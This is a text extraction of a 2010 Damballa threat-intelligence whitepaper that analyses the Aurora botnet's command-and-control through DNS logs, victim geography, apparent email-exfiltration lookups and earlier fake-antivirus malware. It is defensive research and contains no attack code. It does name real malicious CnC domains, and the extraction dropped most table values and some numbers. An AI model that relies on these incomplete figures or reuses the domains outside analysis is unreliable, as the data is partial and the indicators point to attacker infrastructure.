2010.clean.txt

The Command Structure of the Aurora Botnet
History, Patterns and Findings
Executive Overview
Following the public disclosures of electronic attacks launched against Google and
several other businesses, subsequently referred to as 
Operation Aurora
, Damballa
conducted detailed analysis to confirm that existing customers were already protected
and to ascertain the sophistication of the criminal operators behind the botnet.
There has been much media attention and speculation as to the nature of the attacks.
Multiple publications have covered individual aspects of the threat 
 in particular
detailed analysis of forensically recovered malware and explanations of the Advanced
Persistent Threat (APT).
By contrast, Damballa has been able to compile an extensive timeline of the attack
dating back to mid-2009 that identifies unique aspects to the Aurora botnet that have
been previously unknown. Based upon this new information and our experience in
dealing with thousands of enterprise-targeted botnets, Damballa believes that the
criminal operators behind the attack are relatively unsophisticated compared other
professional botnet operators. Even so, the results proved just as damaging as a
sophisticated botnet since the threat was not quickly identified and neutralized.
Key observations discussed in the main body of this analysis report:
 The major pattern of attacks previously identified as occurring in mid-December
2009 targeting Google appear to originate in July 2009 from mainland China.
 Hosts compromised with Aurora botnet agents and rallied to the botnet
Command-and-Control (CnC) channels were distributed across multiple
countries before the public disclosure of Aurora, with the top five countries
being the United States, China, Germany, Taiwan and the United Kingdom.
 Damballa identified additional botnet CnC domains used by these criminal
operators and established a timeline of malware associations back to May 2nd
2009 by tracking the evolution of the malware used by Aurora
s operators.
 Analysis of network traffic associated with the lookups of the botnet CnC is not
consistent with the publicly discussed Internet Explorer 6 infection vector.
 This botnet has a simple command topology and makes extensive use of
Dynamic DNS (DDNS) CnC techniques. The construction of the botnet would be
classed as 
old-school
, and is rarely used by professional botnet criminal
operators any more. Reliance upon DDNS CnC is typically associated with new
and amateur botnet operators
 The criminals behind the Google attack appear to have built and managed a
number of separate botnets and run a series of targeted attack campaigns in
parallel. This conclusion is based upon CnC domain registration and
management information. The earliest of the CnC domains associated with
these botnets, reliant upon DDNS service provisioning, appear to have been
registered on July 13th 2009.
Take Back Command-and-Control
The Command Structure of the Aurora Botnet
 The botnet operators had access to large numbers of CnC hosts in geographically diverse
hosting co-locations from the very start 
 a fairly high cost for a botnet. Further, the botnet
employed over a dozen domains in diverse DDNS networks for CnC. Some of the botnet agents
focused on victims outside of Google, suggesting that each domain might have been dedicated
to a distinct class or vertical of victims.
 Only the US victims of the attack were compelled to perform mail-based DNS queries 
 an event
that would typically indicate attempted document exfiltration via email services.
 Damballa identified multiple CnC testing, deployment, management and shutdown phases of
the botnet CnC channels. Some of the CnC domains appear to have become dormant for a
period of time after they infected victim systems. This type of activity can sometimes be
associated with an update to the botnet malware, or when the criminal operator sells/trades a
segment of the botnet to another criminal operator.
 The botnet operators behind the Aurora attacks deployed other malware families prior to the
key Trojan.Hydraq release. Some of these releases overlapped with each other. Two additional
families of malware (and their evolutionary variants) were identified as 
Fake AV Alert /
Scareware 
 Login Software 2009
 and 
Fake Microsoft Antispyware Service,
 both of which
employed fake antivirus infection messages to socially engineer victims into installing malicious
botnet agents.
By studying the evolution of the Google attacks and tracking the malicious campaigns conducted
before (and in parallel to) the public disclosure of 
Operation Aurora
 in January 2010, Damballa has
established a detailed timeline of infections. Instead of this attack being a sophisticated APT
operation, it appears that the attacks originated from a Chinese botnet operations team, and that the
attack vector underwent several different phases of botnet building and malware deployment before
being discovered by Google.
The fact that some of the later attacks utilized a different family of malware and may have exploited
Zero-Day vulnerabilities within Internet Explorer 6 as one of the infection vectors is typical for modern
botnet distribution campaigns. Botnet operators also increasingly trade or sell segments of the
botnets they build. Once sold, the owner of the botnet typically deploys a new suite of malware onto
compromised systems. The CnC provides the link between various campaigns run by the botnet
operators and the multiple malware iterations. Since Damballa focuses on malicious, remotecontrolled crimeware that depends on CnC to function, we were able to determine the evolution and
sophistication of the Aurora botnet and its operators with greater detail and accuracy than other
reports to-date.
In general, Aurora is 
just another botnet
 and typifies the advanced nature of the threat and the
criminal ecosystem that supports it. It is important to note, however, that botnets linked to the
criminal operators behind Aurora may have been sold or traded to other botnet operators, either in
sections or on an individual victim basis. This kind of transaction is increasingly popular. Specialist
botnet builders sell access to victim systems or networks for a fee 
 making it very simple for other
entities to access confidential business systems and information without needing be technologically
proficient. These transactions between criminals are very difficult to detect.
Page 2
The Command Structure of the Aurora Botnet
Introduction
The progression of semi-autonomous malware into globe-spanning botnets with victims numbering
in the millions continues to accelerate. In short, botnets, and the criminal ecosystem that supports
them, lie at the heart of modern cybercrime. Specialist contractors and service providers occupy every
online niche, enabling both newbie hackers and professional botnet operators to overcome
technological hurdles and operational barriers for a small price 
 typically stolen identities or access to
hijacked systems rather than dollars.
All it takes to get started is an Internet search engine and the ability to install software on a computer.
Devastating attacks start with a nominal fee for acquiring advanced malware construction tools
capable of automatically generating customized botnet agents dramatically superior to tools used by
professional hackers only three years ago. Fierce competition within the ecosystem has resulted in the
commoditization of these tools and services, which has lowered price points and driven suppliers to
differentiate with 24x7 support, money-back guarantees, replacement warrantees and even SLAs.
Major international corporations have begun to publicly acknowledge this electronic threat. On
January 12, 2010, Google announced that it had been the victim of a targeted attack and had
subsequently identified over 34 additional organizations that had similarly been breached by the
same criminal team. One major industrial powerhouse has publicly focused on the risks posed by
persistent electronic attacks by including references to these threats in their quarterly 10-K filing.
Report Objectives
The purpose of this report is to explain the advanced state of today
s botnet ecosystem by way of
example, and to examine the ways in which criminal operators rely upon botnet technologies to
breach corporate networks and extract secrets from their victims. Much media fervor has surrounded
Google
s public disclosure of the successful attacks against their systems. 33 other victims also fell prey
to what has been frequently referred to as an Advanced Persistent Threat (APT). This report closely
examines the methods employed by the criminal operators who conducted this botnet campaign.
Many security vendors have explained the operation against Google, dubbed 
Operation Aurora,
using a military vernacular. However, based upon analysis of exhaustive data surrounding these
attacks and examination of both the malware and the CnC topologies used by the criminals behind
Aurora, it appears that this threat can best be classified as a just another common botnet attack 
 and
one that is more amateur than average.
This report details new analysis of the malware evolution and the CnC construction behind these
attacks, and provides unique insight into similar threats facing large business. Comparisons are made
between the Aurora attacks and professionally orchestrated campaigns run by sophisticated cyber
criminals. Timelines track the evolution of this threat help to identify the objectives of the criminals
behind the Aurora attacks, and illustrate the advanced state of the botnet ecosystem.
Understanding Aurora
Malware samples recovered from victim systems using forensic techniques lie at the heart of almost all
public analysis of Aurora. The samples directly associated with Aurora are commonly referred to as
Trojan.Hydraq. Damballa analyzed the Trojan.Hydraq outbreak using DNS monitoring logs obtained
from CnC authority DNS servers. Since every infected host in the Aurora botnet contacted the
Page 3
The Command Structure of the Aurora Botnet
authority server, DNS logs provided a rich inventory of the botnet
s resolution behavior. The logs also
delivered insights into the development, gestation and growth of the Aurora botnet. This data leads to
several interesting questions:
Origins 
 Which network first resolved the botnet CnC domains? Who was the first victim? Are
there clues in the first DNS lookups as to the authors or origin of the network?
The analysis below shows that a university in China, and a Chinese collocation facility (colo),
were critical early incubators of the infection. Portions of the infection originated from within
Google China
s offices.
Remediation and Damage Assessment 
 Who else resolved the botnet CnC domains before
news of the malware became public? What were the victim systems forced to do?
Public accounts state that the botnet harvested email information. The DNS log analysis
reveals numerous MX-lookups (mail-related DNS lookups). If these lookups are related to
document theft, it is reasonable to estimate the number and timing of attempted exfiltration
events. In addition to the type of DNS traffic, the log analysis also reveals where the victims are
located.
Almost all (99%) of these events took place inside Google
s US network. No victim in any other
country performed MX lookups, suggesting Aurora
s data exfiltration targets were all in the
U.S. The pattern of MX lookups appears automated and lacks any diurnal properties.
Capabilities 
 What else does DNS log analysis suggest, and what other questions does it raise
about the attack?
Damballa
s analysis helps illumine the origin of the botnet, based on years of observing the
authority servers used in the Aurora CnC.
Previously Disclosed Aurora Knowledge
Operation Aurora
 refers to the investigations of a cyber attack which appeared to have begun in midDecember 2009 and continued through to February 2010. Aurora was first publicly disclosed by
Google on January 12, 2010 
 and is commonly associated with attacks originating from China. The
Aurora name was originally publicized by Dmitri Alperovitch, Vice President of Threat Research at
McAfee, and refers to a file path artifact that might reveal what the criminal authors of the malware
named their operation.
Key facts publicly associated with Aurora:
a) Google stated that some of their intellectual property had been stolen and publicly
announced the attack on January 12th 2010.
b) While the scope of reported victims includes around 34 organizations, only Google, Adobe
Systems, Juniper Networks and Rackspace have publicly confirmed that they were targeted.
Various media reports have stated that Yahoo, Symantec, Northrop Grumman, Dow Chemical
and the Rand Corporation were also among the targets.
c) Many security agencies and experts claim the attack to be a sophisticated use of 
advanced
tools and techniques 
 most notably the use of a Zero-Day exploit for a previously unknown
vulnerability in Microsoft
s Internet Explorer 6 browser technology.
d) The public name for the malware component that allowed the Aurora criminal operators to
remotely control their victims system is called Trojan.Hydraq.
e) The Aurora attacks are widely assumed to be an APT originating from within China.
Page 4
The Command Structure of the Aurora Botnet
Advanced Persistent Threats
Advanced Persistent Threats (APTs) are a cybercrime category directed at business and political
targets. APTs require a high degree of stealithiness over a prolonged duration of operation in order to
be successful. The attack objectives therefore typically extend beyond immediate financial gain, and
compromised systems continue to be of service even after key systems have been breached and initial
goals reached.
Definitions of precisely what an APT is can vary widely, but can best be summarized by their named
requirements:
Advanced 
 Criminal operators behind the threat utilize the full spectrum of computer
intrusion technologies and techniques. While individual components of the attack may not be
classed as particularly 
advanced
 (e.g. malware components generated from commonly
available DIY construction kits, or the use of easily procured exploit materials), their operators
typically access and develop more advanced tools as required. They combine multiple attack
methodologies and tools in order to reach and compromise their target.
Persistent 
 Criminal operators give priority to a specific task, rather than opportunistically
seeking immediate financial gain. This distinction implies that the attackers are guided by
external entities. The attack is conducted through continuous monitoring and interaction of a
botnet in order to achieve the defined objectives. It does not mean a barrage of constant
attacks and malware updates. In fact, a 
low-and-slow
 approach is usually more successful.
Threat 
 Means that there is a level of coordinated human involvement in the attack. The
criminal operators have a specific objective and are skilled, motivated, organized and well
funded.
Damballa
s Perspective
Damballa
s research and technical expertise focuses on the detection of CnC tethering and the
malicious communications between a victim
s computer and the remote criminal operator. Damballa
detects new botnet CnC channels as they are created and used by criminal operators. This globespanning array of network sensors monitors CnC use to identify victims that join botnets.
Damaballa used key DNS observations about the operational characteristics of Dynamic DNS zones
(e.g. zone cuts, TTL changes, NS changes, etc.) in order to identify the different states in which the
botnet was operated by its criminal controllers. Changes in the way that a DNS zone is structured by
criminals typically denotes an intension to develop, test, and operate malicious infrastructure, or
abandon a particular zone and move to a new one. Damballa also reviewed historical DNS resolution
data derived from our passive observation systems to identify when (and how frequently) the CnC
domain names associated with the Aurora botnet were queried. This information provided valuable
insight into the pace at which victims rallied to the botnet and established a timeline for Aurora.
Page 5
The Command Structure of the Aurora Botnet
1000000
100000
10000
1000
7/1/2009
8/1/2009
9/1/2009 10/1/2009 11/1/2009 12/1/2009 1/1/2010
Figure 1: Cumulative volume of CnC domain name resolutions. Absolute numbers do not represent
individual victims (i.e. victim computers make repeated lookups based upon the TTL of the CnC
domain and relative malware activity on the system), but do depict approximately when the CnC
domains were first used by the Aurora botnet. From this passive DNS resolution dataset, that date
appears to be June 14, 2009.
These network observations combine with Damballa
s ability to identify Zero-Day remote access
malware and botnet agents within customers
 networks to determine additional CnC relationships.
Zero-Day malware samples are automatically passed to Damballa
s analysis cloud 
 along with tens-ofthousands of new malware variants obtained through industry security sharing programs. These
network behaviors are extracted, and provide Damballa with additional insight into CnC evolution and
criminal ownership. They also allow us to cluster various malware and botnet agents automatically
with their respective criminal operators 
 despite factors such as serial variant production, migrations
to new malware families and sub-contracting malware development to other criminal authors.
Trojan.Hydraq is the name of a family of malware now synonymous with Operation Aurora. To date,
only a handful of related samples have been made public by various security vendors 
 almost all of
which were gathered through forensic analysis of compromised computers. However, it is important
to understand that not only are there multiple variants of malware within the Trojan.Hydraq family, but
that criminal operators also use(d) other malware families in their attacks. Based upon analysis of
samples and data gathered by Damballa, malware associated with the criminal operators behind the
Aurora botnet can be traced back to August 2009.
A holistic DNS forensic analysis of any botnet that utilizes DNS as a critical communication element
requires DNS information from both the iterative and recursive DNS phases. Utilizing large scale
passive DNS information from large ISPs and DNS traces from a significant portion of the CnC
s DNS
authority servers (ANS) Damballa has identified more than many infected hosts that attempted to
connect or rally to the five CnC domain names associated with the Aurora botnet and investigated in
this report. These hosts where distributed across multiple countries at the time of the public Google
disclosure (January 12, 2010).
Page 6
The Command Structure of the Aurora Botnet
Position
Country
United States
China
Germany
Taiwan
United Kingdom
Table 1: Top 5 countries with Aurora botnet victims
Damballa
s passive DNS data collection indicates that the infection vector was not centralized, and that
a significant number of infected assets tried to look up CnC domain names throughout the US, with a
higher frequency in the Northeast.
Figure 2: Volume of DNS queries per Aurora CnC domain associated with the attacks within the USA,
by geographic region
Some interesting observations can be made about the lifetime and 
popularity
 of the CnC domains
used. The next figure shows that portions of the CnC domain names were active since the beginning
of September 2009 (e.g. google.homelinux.com, yahoo.blogdns.net, mcsmc.org).
These domain names reveal two important trends 
 a downward-spike during the month of October
and a steady hit rate for the remaining months. Beside these long-lived CnC domain names, Damballa
observed a number of domain names that become active in the early days of November. Some of
them were active only for a couple of months (e.g. filoups.info), while others where active longer
Page 7
The Command Structure of the Aurora Botnet
(e.g. m7been.zapto.org, baltika1.servebeer.com, etc.) before they where sinkholed by
corresponding DNS operators.
Figure 3: Volume of DNS resolution queries per Aurora botnet, per month. Spikes in query volume
typically indicate growth of a botnet and renewed CnC interaction.
The Major Components
Botnets are a business. Professional criminal operators employ specialist tools, services and
methodologies to conduct their botnet operations. While botnet discussion has been tied malware
families in the past (e.g. 
The Conficker Botnet
The Koobface Botnet
), today
s botnet operators
regularly employ multiple families of malware, considering them disposable attack tools. The key
elements of a botnet are:
Malware 
 The tool used by botnet operators to conduct malicious activities on victims
computers and to provide remote control capabilities.
CnC 
 The electronic tether between the criminal operator, a control server and victims
computers.
CnC Domain 
 The domain name of the host being used for CnC conduct or to route
communications between the control server and the victim
s computer.
CnC Server 
 The server used by the botnet operators to rally and provide electronic tethers to
victim computers.
Botnet 
 The collective name for malware-infected victims with established connections to a
CnC server and remotely controlled by criminal operators.
Criminal Operators 
 The person or team that builds, manages and reaps financial reward
from a botnet.
Page 8
The Command Structure of the Aurora Botnet
How Advanced Persistent Threats Breach Enterprises
APTs breach enterprises through a wide variety of vectors, even in the presence of properly designed
and maintained defense-in-depth strategies:
 Internet-based malware infection
 Physical malware infection
 External exploitation
Well funded APT adversaries do not necessarily need to breach perimeter security controls from an
external perspective. They can, and often do, leverage 
insider threat
 and 
trusted connection
 vectors
to access and compromise targeted systems.
Abuse and compromise of 
trusted connections
 is a key ingredient for many APTs. While the targeted
organization may employ sophisticated technologies in order to prevent infection and compromise of
their digital systems, criminal operators often tunnel into an organization using the hijacked
credentials of employees or business partners, or via less-secured remote offices. As such, almost any
organization or remote site may fall victim to an APT and be utilized as a soft entry or information
harvesting point.
A key requirement for APTs (as opposed to an 
everyday
 botnet) is to remain invisible for as long as
possible. As such, the criminal operators of APT technologies tend to focus on 
low and slow
 attacks 
stealthily moving from one compromised host to the next, without generating regular or predictable
network traffic 
 to hunt for specific data or system objectives. Tremendous effort is invested to ensure
that malicious actions cannot be observed by legitimate operators of these systems.
Page 9
The Command Structure of the Aurora Botnet
Malware is a key ingredient in successful APT operations. Modern 
off-the-shelf
 and commercial
malware includes all of the features and functionality necessary to infect digital systems, hide from
host-based detection systems, navigate networks, capture and extricate key data, provide video
surveillance and deliver silent covert channels for remote control. APT operators often use custom
malware tools to achieve specific objectives and harvest information from non-standard systems.
At the very heart of every APT lies remote control functionality. Criminal operators need this capability
in order to navigate to specific hosts within target organizations, exploit and manipulate local systems,
and gain continuous access to critical information. If an APT cannot connect with its criminal
operators, then it cannot transmit any intelligence it may have captured. In effect, it has been
neutered. This characteristic makes APTs appear as a sub-category of botnets.
While APT malware can remain stealthy at the host level, the network activity associated with remote
control is more easily identified. As such, APTs are most effectively identified, contained and disrupted
at the network level.
Controlling the Victim
Once the victim
s computer has been compromised, the malware component will typically establish its
first CnC session to register itself with the botnet CnC server. In order for this to occur, the botnet
operator must correctly set up the CnC servers and also configure appropriate resolution services such
as registering domain names and configuring DNS resolution settings.
Depending upon the sophistication of the botnet operators, this CnC infrastructure can take on many
different forms, with each alternative offering varying degrees of robustness and flexibility. Readers
are encouraged to read Damballa
s earlier whitepaper titled, 
Botnet Communication Topologies:
Understanding the Intricacies of Botnet Command-and-Control,
 for more information on this topic.
Page 10
The Command Structure of the Aurora Botnet
Detailed analysis of DNS intricacies for CnC domain name querying and management follow.
Key Concepts: DNS Overview
DNS resolution can be generally viewed as having two phases 
 a private stub (or 
recursive
) layer,
and a public authoritative (or 
iterative
) layer.
Figure 4: Conceptual view of Aurora DNS lookups and multiple monitoring opportunities. Damballa
used the convenience of an authority monitoring system to gather [qr aa] responses.
The figure above illustrates how Aurora victims performed DNS lookups, and provides a simplified
delegation tree for several of the Aurora-related CnC domains. An Aurora authority DNS zone is
depicted: the light blue zone delegated to No-IP. The No-IP zone has been simplified in the diagram to
include the authority DNS servers, nf[1-4].no-ip.com, as well as the actual Aurora CnC domain,
blog1.servebeer.com, even though in practice these are separate delegations from the .com TLD
parent. An infected host is depicted in the light green area. Its resolution path consists of the virus
code (designated as VX), a local stub resolver (often available through various statically named or
random DLL files on Windows hosts), and a local recursive DNS server. The 
private
 portions of DNS
traffic occur within this local envelope, colored as the light green area. No DNS monitoring takes place
here, in part because of the possible presence of PII, and because of the staggering volume of traffic
monitoring might entail, for even a small network. Such networks often generate billions of queries
per day below the recursive.
When a victim attempts to contact the Aurora CnC domain blog1.servebeer.com, it must first
discover the delegation of the zone to the No-IP authority name servers. (To save space, these steps
are not shown in the figure above). The overall delegation of authority is shown in the figure as a tree.
The hosts nf[1-4].no-ip.com are the authorities for the CnC zone. Thus, the victim network
recursive server discovers these name servers, queries for the Aurora CnC domain, and caches the
answer.
Dynamic DNS and IP-Agility
Botnets have used Dynamic DNS services (DDNS) for nearly 8 years. For the most part, the role of
DDNS in professional, criminal botnets is historic. Concentrated cleanup efforts and a few well
documented arrests have changed the class of botmaster using DDNS. For the most part, professional
cyber criminals do not use DDNS for botnet rallying, since DDNS providers:
Page 11
The Command Structure of the Aurora Botnet
a) are generally responsive to law enforcement;
b) keep logs; and
c) a few are famously known to actively monitor and remediate their networks.
Since 2007, most 
professional criminal
 botnet CnCs (e.g., Russian mafia) have moved away from
DDNS, because of the aggressive stance taken by the major DDNS providers against botnet abuse.
While there has been a recent return of novice botmasters to the free DNS services, the professional
criminal botmasters have largely moved on to more resilient, agile DNS technologies. For example,
professional botnets buy tens of thousands of domain names, and use domain agility instead of the IP
agility found in DDNS. The best example of this is Conficker.C. The decline in 
professional
 botnet use
of DDNS services has been so dramatic that many anti-botnet researchers changed their focus to new
areas of threat.
The average botmaster still using DDNS is generally a novice, and the malware they seed on victim
machines is often kit-generated. There are a few exceptions where amateur botmasters evolve into
professionals, but the bulk of botnets relying upon DDNS remain novice efforts, and use only a few
domain names with a single DDNS provider.
The Aurora botnet uses DDNS and 
old school
 coordination techniques not used by sophisticated
botmasters who have the means to purchase and manage dozens of domain names. And yet despite
having the signature of a novice effort, it also used numerous different DDNS services.
Network Analysis
The network analysis in this report encompasses the CnC domain names known to be publicly
associated with the Aurora attacks, plus an additional four non-public domains (listed below) which
are related to the criminal operators behind the Aurora attacks through shared DDNS registration
credentials and their synchronized management.
Domain
Authority Creation Date (UTC)
CnC_Domain.1
December 15, 2009
CnC_Domain.2
December 15, 2009
CnC_Domain.3
July 13, 2009
CnC_Domain.4
December 15, 2009
blog1.servebeer.com
December 15, 2009
Table 2: DDNS botnets with characteristics identical to the Aurora botnet and shared
DDNS credentials. The first four of these CnC domains have been intentionally
obscured.
The DNS TTL data associated with these interlinked Aurora domain names reveals that there were
different phases to their use. The figure below indicates when a particular CnC domain name was
sinkholed or idle (i.e. not pointing to a specific Internet IP address, or pointing to a local loopback
address such as 127.0.0.1), it was pointing at probable development IP addresses as the criminal
operators experimented with their attack tools, such as when the CnC domain names were pointing at
the IP addresses associated with two of the CnC servers used during the Aurora attack.
Page 12
The Command Structure of the Aurora Botnet
Figure 5: CnC domain name transition changes as the attackers developed botnet attacks.
Based upon passively obtained DNS resolution data from sensors scattered around the globe (but
predominantly US based), Damballa observed that several key CnC domains resolved to different
server IP addresses over the period of study. The transitions from one IP address to another can be
used to identify the different phases of botnet development (e.g. as depicted in the figure above), as
well as the nature of the CnC servers hosting and botnet topology (e.g. whether parts of the CnC
network were using fast-flux services). The table below lists the number of IP address changes to the
CnC domain name resolution 
 and is a lower bound number, since Damballa does not monitor all
Internet traffic.
CnC Domain Name
Distinct IP Addresses
baltika1.servebeer.com
m7been.zapto.org
miecros.info
mcsmc.org
yahoo.blogdns.net
filoups.info
google.homeunix.com
Table 3: The number of distinct IP addresses observed by Damballa and associated
with each of the CnC domain names for the period of August 2009 to the Google
Aurora disclosure on January 12, 2010.
Page 13
The Command Structure of the Aurora Botnet
Overview of CnC Domains
Not all of the authority servers hosted by the DDNS providers for this botnet were monitored by
Damballa and sampling practices were adopted for this analysis. In general, for large botnets, the
sampling this produces is more than adequate to detect 
professional cyber criminal botnets.
Around 5,236 recursive DNS servers visiting the Aurora CnC authorities used BIND. The table below
lists the major types. Damballa identified a signature specific to Chinese closed recursive DNS servers
that provides policy insight to some selected resolvers.
The table below provides counts of queries from recursive DNS servers for both ISO-3166 country code
and qtype. All data was gathered on or before January 11, 2010 (the eve of the Google public
announcement) to avoid polluting queries from the press and researchers. It is estimated that Google
discovered this attack in mid to late December, 2009, so some of the resolution traffic could be
associated with their internal remediation.
The table also demonstrates that only US victims were required to perform MX queries, hinting at data
extraction via SMTP mail services.
Query Type
Others
15 (MX)
143,015
1 (A)
52,787
28 (AAAA)
12,254
Table 4: Breakdown of qtype by country code of recursive, for all five studied Aurora botnet CnCs.
Highlights: (a) Only the US victims were compelled to perform MX queries (qtype 15); all networks in
China and other countries never performed an MX query; (b) No AAAA (qtype 28) queries were
performed by international victims, who were presumably collateral victims; the pairing of AAAA to A
queries is discussed below; and (c) Most queries were MX (68% overall), and the attack heavily biased
towards the US (also 68 % overall).
CnC Domains over Time
Damballa
s analysis of DNS data has revealed the very early origin (July 2009) of the botnet. Even
during this early deployment, the botnet was widely dispersed. Since these were the first DNS
resolutions for these attacks, it is reasonable to assume they are associated with the botmaster (e.g.,
testing or configuring their attack), and not victims. Thus, these resolutions might correspond to
several CnC sites. If this theory is correct, it suggests that, despite using 
naive
 DDNS services typical of
novice botnet operators, the Aurora botmasters had considerable resources available to them.
CnC_Domain.1
The first resolution for CnC_Domain.1 came from within Google China
s offices. It was followed
hours later by resolutions inside Google
s offices in Mountain View, California. The pattern of lookups is
remarkable, and is worth closer study. The first queries for CnC_Domain.1 were:
2009-12-16 05:26:44
2009-12-17 22:39:09
2009-12-17 22:39:09
AAAA
AAAA
(Google China)
(Google Mountain View)
(Google Mountain View)
Page 14
The Command Structure of the Aurora Botnet
Counting Attempted Exfiltration Events
Other patterns of DNS messages in CnC_Domain.1 suggest the attempted exfiltration of data.
Consider this ordering of queries:
2009-12-18 06:29:09
2009-12-18 06:29:09
(Google Mountain View)
(Google Mountain View)
The queries both happen in under a second, indicating that a host using a recursive resolver wished to
send email to the CnC_Domain.1 CnC (hence the MX lookup). Dynamic DNS zones, however, almost
never have valid MX RRsets, or if they do they are pointed to abuse@traps or spamtraps. Only a few
DDNS providers offer mail, and the first query was therefore answered with an empty record
(NOERROR status, with zero answers). As a result, the victim immediately performed an A query, to use
the IP address for email. Whether these queries were followed by actual or successful email events is
not known.
All MX queries in CnC_Domain.1 came from the United States (and no other network outside the
US performed such a query before the news broke). Before January 10th 2010, some 110,810 MX
queries came from Google Mountain View, and one came from Comcast (San Jose). This Comcastbased query may have been testing by a Google security engineer, or it may have been an infection on
a notebook after work (since the query took place in the late evening hours, PST).
From the volume of messages, it is presumed that each MX query corresponds to a single email
exfiltration attempt. It would be hard to imagine a botmaster being able to direct these events
individually. Thus, it may not be the case that bots were instructed to email materials when a specific
event took place. Or the consistent pattern of queries could be the result of persistent searches of a
hard drive, and attempted, periodic exfiltration of any useful data. This conclusion is speculation.
The lack of any diurnal pattern to these events does indicate that the trigger event for an MX lookup
was not human-driven (e.g., the arrival of email on a victim machine, or selected actions by the
botmaster). It is not known what information was taken, if any, or if these queries were in fact victim
behavior. Public accounts from Google indicate that the attackers sought email records of human
rights activists.
It is speculated that Google would have prevented the 
direct-to-MX
 behavior of hosts within their
network. That is, in many corporate networks, individual user machines are prohibited from sending
email directly, and must instead use a smart host or authenticated relay system. Thus, these MX
lookups may well be side effect of an unsuccessful exfiltration effort. The malware also used ports 443
and 8585 for CnC, and could be instructed to perform any command.
CnC_Domain.3
The CnC_Domain.3 CnC domain is interesting because of its age. The botnet dates back to July 14,
2009, fell dormant for months, and then became active again within Google
s network. Of the five CnC
domains studied in detail within this report, this is the oldest, and most strongly suggests an origin for
the botnet.
The early queries for the Aurora CnC domain CnC_Domain.3 took place in the HangZhou region,
with some occurring in Beijing. The domain had a remarkable number of queries from mainland China
Page 15
The Command Structure of the Aurora Botnet
and collocation facilities in the US within minutes of being created. Seconds later, another query came
from Chinanet
s network in the Chongqing area. The close timing of these suggests the owners of
CnC_Domain.3 had access to ISP, university, and commercial transit.
2009-07-14 02:50:03
2009-07-14 02:57:38
2009-07-14 02:58:31
2009-07-14 03:03:11
2009-07-14 03:03:44
2009-07-14 03:04:28
2009-07-14 03:13:18
(HiNet Taiwan)
(CHINANET Jiangsu)
(CHINANET HangZhou)
(HangZhou Institute of Electronic Engineering)
(CHINANET Chongqing)
(FDC Servers, US Chicago)
(Level 3, US Washington)
The pattern of these lookups suggests that the author was performing testing, and had access to two
different transits (e.g., a school network and an ISP).
CnC_Domain.2
The first query for the CnC_Domain.2 domain came from Google
s Mountain View recursive.
2009-12-17 22:39:09
2009-12-18 06:27:58
2009-12-18 06:27:58
2009-12-18 18:15:18
2009-12-18 18:15:18
2009-12-18 18:15:18
2009-12-18 18:19:30
2009-12-18 18:19:30
AAAA
AAAA
AAAA
(Google Mountain View)
(Google Mountain View)
(Google Mountain View)
(Comcast; San Jose)
(Comcast; San Jose)
(Comcast; San Jose)
(Google-IT)
(Google-IT)
The CnC_Domain.2 CnC domain is also notable because it witnessed queries from many other
networks outside of Google before the public news broke. This domain has never been identified
publicly as part of Aurora. Networks performing queries up to January 10, 2010 include numerous ISPs.
Observed Loss of Queries
When a botnet is remediated at the DNS level, the associated victims continue to query the authority
DNS server. Unless and until the local network cleans the hosts or imposes network blocks, victim
traffic to the authority will continue. A sudden loss of network traffic from a country, however, can be
unusual, particularly where the victims are spread over disparate (heterogeneous policy) networks.
That is, it is unlikely that many different networks would simultaneously remediate hosts. Thus, while it
may seem likely that all victims in a single network disappear (e.g., as when a network operator
deploys a firewall rule), it is remarkable when all victims in diverse policy boundaries also disappear.
Such centralized control speaks to the management of the botnet, and gives clues as to the policy
preferences of the botmaster to attack/not attack a given suite of networks or countries.
Hosts performing DNS queries exhibited a random pattern of A queries. The TTL periods for the CnC
domains was always short, meaning there was only a short period of time during which a stub query
could be answered from cache, and not recorded at the authority. This behavior is typical of fast flux
Page 16
The Command Structure of the Aurora Botnet
networks. An increase in TTL from 60 to 360 seconds was identified, which signifies the cut over from
the default zone TTL to the SOA.minimum used for wildcarded domains. Thus, the DDNS domains
used in the attack appear to have been deregistered before December 18 and remained 
open
 for
anyone in the world to register until the first week of January 2010.
The Malware Evolution
Aurora malware families date as far back as August of 2009. This trail helps determine the evolution
and common characteristics of malware used by Operation Aurora, as well as a common modus
operandi on the bot agents deployed as part of the attacks. The result is more than just an analysis of
individual malware families. Rather, it helps profile the criminal operators behind Aurora via:
Malware Delivery Method 
 How does the malware get into the system? Is there a common
delivery method or is it random?
System Behavior 
 Are the symptoms evident in the system common to all Aurora malware
families or do they differ? Do the families use the same infection techniques, protection
mechanisms and/or AV evasion techniques?
Network Behavior 
Do the malware families exhibit the same network behavior?
CnC Server Trials Powered by Zero-Day Malware Variants
The table below lists significant events in the deployment and use of one of the Aurora botnet CnC
servers known to the public, filoups.info, based on our data mining and analysis of malware
samples and network traffic collected by Damballa. Several initial trials were conducted by the botnet
operator prior to the 
production
 use of this CnC server.
The first set of CnC domains appeared in a FakeAV Trojan malware family1-a in the beginning of May
2009. There were several variants of the family1 malware in the wild in 2009. The second set of CnC
domains was used by a new family1-b malware variant in October 2009. By leveraging new Zero-Day
malware variants, the botnet operator(s) could easily evade AV product detection and experiment
with different CnC domain construction and communication. For example, different combinations of
CnC domains were tried by both family1-c and family1-d malware variants in late October 2009.
Finally, the CnC domain filoups.info was deployed and used by malware family1-e in November 2009.
Domain
mcsmc.org
thcway.info
miecros.info
mnprfix.cn
micronetsys.org
filoups.info
family1-a
family1-b
family1-c
family1-d
family1-e
Date
5/2/2009
8/18/2009
10/20/2009
10/22/2009
11/26/2009
Table 5: Botnet CnC trial evolution powered by Zero-Day malware variants.
Page 17
The Command Structure of the Aurora Botnet
The family1-e malware is part of Fake AV Alert/Scareware family analyzed below. The behavior of Fake
Alert/Scareware is quite similar to Trojan.Hydraq malware associated with the actual Aurora attacks,
albeit in a much more primitive form.
Sample Analysis Details
The additional samples in Damballa
s possession that have been clustered as part of Aurora botnet
malware can be separated into two distinct families of Fake AV Alert / Scareware: Login Software 2009
and Microsoft Antispyware Services. The first samples of each family were discovered by Damballa on
November 26 2009 and August 19, 2009 respectively. The analysis details are broken down into the
following:
First Discovered 
 The time when the sample was first discovered and acquired by Damballa.
Prevalence 
 The date range when the samples are still being seen in the wild by Damballa.
Infection Vector 
 How the samples are delivered to the unsuspecting victims.
Symptoms 
 Observable behaviors in the system that signals the possible presence of
malware without actually looking at the registry or searching for the malware file itself.
System Behavior 
 How the malware works its way through the system to execute its
objective.
Network Behavior 
 A detailed look at how the malware utilizes the domains it connects to.
Protection Mechanism 
 How the malware hides from the user or system inspection tools.
AV Evasion Techniques 
